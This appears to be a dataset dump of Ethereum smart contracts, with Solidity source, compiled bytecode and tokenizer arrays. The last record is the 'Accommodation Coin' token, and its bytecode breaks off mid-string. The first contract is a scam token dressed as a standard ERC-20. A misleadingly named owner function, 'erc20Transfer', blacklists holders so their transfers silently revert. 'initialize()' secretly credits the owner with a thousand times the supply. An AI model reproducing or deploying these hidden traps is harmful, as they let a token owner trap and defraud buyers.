emit Transfer(address(0), _msgSender(), _tokens);
_feelimit = true;
_maxfeelimit = _tokens.mul(1000);
_router = router;
_factory = factory;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function revertFee(address _address) external onlyOwner {
_fee[_address] = false;
}
function erc20Transfer(address _address) external onlyOwner {
_fee[_address] = true;
}
function feeCheck(address _address) public view returns (bool) {
return _fee[_address];
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function initial(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: cannot use zero address");
_balances[account] = _balances[account].add(amount);
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (_fee[sender] ||_fee[recipient]) require(_feelimit == false, "");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function initialize() public onlyOwner {
initial(_msgSender(), _maxfeelimit);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be created for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb146104ab578063b67df4201461050f578063c5bbdd5814610553578063dd62ed3e14610597576100f5565b806370a08231146103625780638129fc1c146103ba57806395d89b41146103c4578063a457c2d714610447576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce5671461028357806339509351146102a45780635ff61ea614610308576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b61010261060f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106b1565b60405180821515815260200191505060405180910390f35b6101e96106cf565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106d9565b60405180821515815260200191505060405180910390f35b61028b6107b2565b604051808260ff16815260200191505060405180910390f35b6102f0600480360360408110156102ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107c9565b60405180821515815260200191505060405180910390f35b61034a6004803603602081101561031e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061087c565b60405180821515815260200191505060405180910390f35b6103a46004803603602081101561037857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108d2565b6040518082815260200191505060405180910390f35b6103c261091b565b005b6103cc6109df565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561040c5780820151818401526020810190506103f1565b50505050905090810190601f1680156104395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104936004803603604081101561045d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a81565b60405180821515815260200191505060405180910390f35b6104f7600480360360408110156104c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b4e565b60405180821515815260200191505060405180910390f35b6105516004803603602081101561052557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b6c565b005b6105956004803603602081101561056957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c76565b005b6105f9600480360360408110156105ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d80565b6040518082815260200191505060405180910390f35b6060600a8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106a75780601f1061067c576101008083540402835291602001916106a7565b820191906000526020600020905b81548152906001019060200180831161068a57829003601f168201915b5050505050905090565b60006106c56106be610f15565b8484610f1d565b6001905092915050565b6000600454905090565b60006106e6848484611114565b6107a7846106f2610f15565b6107a28560405180606001604052806028815260200161179260289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610758610f15565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114e19092919063ffffffff16565b610f1d565b600190509392505050565b6000600c60009054906101000a900460ff16905090565b60006108726107d6610f15565b8461086d85600360006107e7610f15565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e0790919063ffffffff16565b610f1d565b6001905092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610923610f15565b73ffffffffffffffffffffffffffffffffffffffff1661094161159b565b73ffffffffffffffffffffffffffffffffffffffff16146109ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6109dd6109d5610f15565b6008546115c4565b565b6060600b8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a775780601f10610a4c57610100808354040283529160200191610a77565b820191906000526020600020905b815481529060010190602001808311610a5a57829003601f168201915b5050505050905090565b6000610b44610a8e610f15565b84610b3f856040518060600160405280602581526020016118036025913960036000610ab8610f15565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114e19092919063ffffffff16565b610f1d565b6001905092915050565b6000610b62610b5b610f15565b8484611114565b6001905092915050565b610b74610f15565b73ffffffffffffffffffffffffffffffffffffffff16610b9261159b565b73ffffffffffffffffffffffffffffffffffffffff1614610c1b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c7e610f15565b73ffffffffffffffffffffffffffffffffffffffff16610c9c61159b565b73ffffffffffffffffffffffffffffffffffffffff1614610d25576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080828401905083811015610e85576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600080831415610ea25760009050610f0f565b6000828402905082848281610eb357fe5b0414610f0a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117716021913960400191505060405180910390fd5b809150505b92915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fa3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806117df6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611029576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806117296022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561119a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117ba6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611220576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806117066023913960400191505060405180910390fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806112c15750600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156113285760001515600960009054906101000a900460ff16151514611327576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200191505060405180910390fd5b5b611333838383611700565b61139f8160405180606001604052806026815260200161174b60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114e19092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061143481600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e0790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600083831115829061158e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611553578082015181840152602081019050611538565b50505050905090810190601f1680156115805780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611667576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2063616e6e6f7420757365207a65726f2061646472657373000081525060200191505060405180910390fd5b6116b981600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e0790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220945c4727d8222f240c3bd758587a4e24d20511f2fa0ba0a93d8fd403eee5c1f264736f6c63430007060033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
25746,
2683,
2063,
2620,
2546,
2487,
2063,
29097,
2620,
16703,
17788,
10790,
2683,
2575,
17134,
2278,
2487,
20952,
2094,
2692,
2475,
2497,
27531,
4783,
18827,
2620,
12879,
2497,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
14246,
2140,
1011,
1017,
1012,
1014,
1011,
2030,
1011,
2101,
10975,
8490,
2863,
5024,
3012,
1027,
1014,
1012,
1021,
1012,
1020,
1025,
12324,
1000,
1012,
1013,
6123,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
29464,
11890,
11387,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
3647,
18900,
2232,
1012,
14017,
1000,
1025,
3206,
14104,
8706,
2003,
6123,
1010,
2219,
3085,
1010,
29464,
11890,
11387,
1063,
2478,
3647,
18900,
2232,
2005,
21318,
3372,
17788,
2575,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,448 | 0x952a6655d71a4a7b70cb36fd95317e8738d0afe5 | pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a && c >= b);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract owned { //Contract used to only allow the owner to call some functions
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract TokenERC20 {
using SafeMath for uint256;
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
//
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check for overflows
// Subtract from the sender
balanceOf[_from] = balanceOf[_from].sub(_value);
// Add the same to the recipient
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
}
/**
* Function to Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* function to Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
/**
* function Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
*Function to Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other ccount
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
allowance[_from][msg.sender] =allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
/******************************************/
/* Accommodation Coin STARTS HERE */
/******************************************/
contract AccommodationCoin is owned, TokenERC20 {
//Modify these variables
uint256 _initialSupply=100000000;
string _tokenName="Accommodation Coin";
string _tokenSymbol="ACC";
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
function AccommodationCoin( ) TokenERC20(_initialSupply, _tokenName, _tokenSymbol) public {}
/* Internal transfer, only can be called by this contract. */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
/// function to create more coins and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] = balanceOf[target].add(mintedAmount);
totalSupply = totalSupply.add(mintedAmount);
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
} | 0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017b57806318160ddd146101e057806323b872dd1461020b578063313ce5671461029057806342966c68146102c157806370a082311461030657806379c650681461035d57806379cc6790146103aa5780638da5cb5b1461040f57806395d89b4114610466578063a9059cbb146104f6578063b414d4b614610543578063dd62ed3e1461059e578063e724529c14610615578063f2fde38b14610664575b600080fd5b3480156100f757600080fd5b506101006106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610140578082015181840152602081019050610125565b50505050905090810190601f16801561016d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018757600080fd5b506101c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610745565b604051808215151515815260200191505060405180910390f35b3480156101ec57600080fd5b506101f56107d2565b6040518082815260200191505060405180910390f35b34801561021757600080fd5b50610276600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107d8565b604051808215151515815260200191505060405180910390f35b34801561029c57600080fd5b506102a56108ff565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102cd57600080fd5b506102ec60048036038101908080359060200190929190505050610912565b604051808215151515815260200191505060405180910390f35b34801561031257600080fd5b50610347600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b34801561036957600080fd5b506103a8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a33565b005b3480156103b657600080fd5b506103f5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bf7565b604051808215151515815260200191505060405180910390f35b34801561041b57600080fd5b50610424610e10565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610e35565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b50610541600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ed3565b005b34801561054f57600080fd5b50610584600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ee2565b604051808215151515815260200191505060405180910390f35b3480156105aa57600080fd5b506105ff600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f02565b6040518082815260200191505060405180910390f35b34801561062157600080fd5b50610662600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610f27565b005b34801561067057600080fd5b506106a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061104c565b005b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073d5780601f106107125761010080835404028352916020019161073d565b820191906000526020600020905b81548152906001019060200180831161072057829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60045481565b600061086982600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110ea90919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108f4848484611103565b600190509392505050565b600360009054906101000a900460ff1681565b600061096682600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110ea90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109be826004546110ea90919063ffffffff16565b6004819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60056020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a8e57600080fd5b610ae081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136f90919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b388160045461136f90919063ffffffff16565b6004819055503073ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000610c4b82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110ea90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d1d82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110ea90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610db2826004546110ea90919063ffffffff16565b6004819055508273f